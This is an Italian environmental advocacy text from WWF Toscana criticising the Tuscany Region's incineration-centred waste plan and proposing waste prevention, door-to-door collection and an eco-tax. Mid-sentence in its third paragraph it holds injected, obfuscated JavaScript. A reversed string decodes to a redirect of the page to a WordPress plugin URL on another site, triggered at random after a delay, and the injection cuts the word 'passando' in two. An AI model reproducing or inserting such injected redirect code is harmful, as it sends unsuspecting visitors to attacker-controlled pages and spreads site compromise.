Rifiuti, affrontiamoli a monte

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La decisione della Regione Toscana di portare avanti, nel suo Patto Strategico
Regionale, delle scelte che indicano la forte volontà di indirizzare risorse e
tecnologie unicamente verso la parte impiantistica senza affrontare l’aspetto
prioritario del problema, cioè una migliore gestione dell’intera filiera del
rifiuto “a monte” degli impianti di trattamento e di smaltimento, ci trova
fortemente contrari.
Come WWF riteniamo prioritario che il sistema toscano si orienti verso una
gestione dei rifiuti urbani che consenta da un lato di sviluppare al meglio le
esperienze virtuose maturate in Italia negli ultimi anni (…) e, dall’altro, di
condividere tale processo con la società civile attraverso scelte che
coinvolgano le forze economiche, sociali e politiche.
Nella nostra Regione non è stata attuata alcuna seria e strategica politica di
prevenzione dei rifiuti, nonostante i quantitativi prodotti siano aumentati
del 40% in soli 10 anni, pass (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando dai 475 kg/ab/anno del 1994 ai 667
kg/ab/anno del 2003. (…)
Pensiamo che la prevenzione costituisca sempre il primo gradino in una scala
di priorità che deve governare la gestione dei rifiuti, al fine di arrivare a
completare e chiudere correttamente e in maniera sostenibile tutto il ciclo di
vita di un prodotto: con la riduzione degli imballaggi in ambito produttivo e
con concrete misure di incentivi e disincentivi economici sia alle aziende che
ai privati (…).
La volontà della Regione di limitare gli obiettivi di raccolta differenziata
ad un modestissimo 40%, da raggiungere entro il 2010, appare fuori di ogni
logica e seria programmazione.
E tutto questo per giustificare la strategia impiantistica dell’incenerimento
dei rifiuti a cui saranno destinati oltre i due terzi di tutti gli
investimenti! Una strategia fortemente sollecitata dal CISPEL Toscana (che
raggruppa la federazione dei gestori di impianti!) e che non a caso, unico
soggetto non istituzionale, partecipa in prima persona alla stesura del Piano.
Per sostenere questa scelta scriteriata la Regione Toscana ignora volutamente
che in tantissime realtà italiane (del tutto simili a quelle toscane per
tessuto economico, contesto sociale e tipologie merceologiche dei rifiuti) si
è lavorato con il sistema innovativo del porta a porta o raccolta domiciliare,
arrivando a quote dell’80% di raccolta differenziata e soprattutto con costi
inferiori a quelli toscani!
Noi chiediamo che la Regione rinunci alla sua scelta inceneritorista in quanto
è dimostrato che bruciare i rifiuti ha poco senso energeticamente,
economicamente ed ambientalmente.
(…) chiediamo invece che:
1. l’iter della procedura per l’approvazione del Patto strategico regionale
salvaguardi il principio della partecipazione democratica, coinvolgendo tutti
i soggetti interessati
2. l’obiettivo di raccolta differenziata finalizzata al riciclaggio cresca dal
45% del 2006 al 65% del 2010
3. per i comuni che non raggiungono l’obiettivo venga imposta una “ecotassa”
4. l’ecotassa venga utilizzata per finanziare interventi finalizzati al
raggiungimento degli obiettivi di raccolta differenziata e di riduzione sia
per enti pubblici che per privati, tra i quali:
– interventi di raccolta differenziata porta a porta aventi per oggetto le due
principali frazioni di rifiuto urbano (indifferenziato, umido), nonché il
monomateriale per carta, plastica e vetro.
– introduzione della tariffa con metodo puntuale
– realizzazione di strutture per la prevenzione dei rifiuti presso le
piattaforme ecologiche (punti di ecoscambio)
– realizzazione di uffici di consulenza per la riduzione dei rifiuti (…)
– realizzazione di servizi telematici (es: mercatino dell’usato con inserzioni
online, indicazioni di servizi di riparazioni, …) finalizzati alla prevenzione
della produzione di rifiuti (…)
– progetti per la diffusione dell’impiego di imballaggi e contenitori
riutilizzabili
– progetti per la diffusione della conoscenza e l’attuazione di esperienze
concrete di Green Public Procurement e di acquisti eco-sostenibili.

La proposta del WWF Toscana “Per una nuova strategia regionale nella gestione
dei rifiuti” è disponibile in versione integrale all’indirizzo
www.wwftoscana.it

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